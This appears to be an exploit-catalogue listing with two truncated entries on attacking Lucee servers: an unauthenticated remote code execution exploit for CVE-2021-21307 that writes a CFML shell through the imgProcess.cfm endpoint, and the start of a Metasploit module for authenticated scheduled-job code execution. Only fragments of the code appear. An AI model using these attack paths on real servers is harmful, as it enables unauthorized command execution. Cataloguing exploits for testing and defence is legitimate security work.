Lucee - imgProcess.cfm Unauthenticated RCE (CVE-2021-21307)

Exploits CVE-2021-21307 by writing a CFML shell via /lucee/admin/imgProcess.cfm?file=.cfm and executing commands through cfexecute. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Lucee imgProcess.cfm unauthenticated RCE CVE-2021-21307 — opens execute session.""...

Lucee Authenticated Scheduled Job Code Execution

class MetasploitModule 'Lucee Authenticated Scheduled Job Code Execution', 'Description' = %q This module can be used to execute a payload on Lucee servers that have an exposed administrative web interface. It's possible for an administrator to create a scheduled job that queries a remote...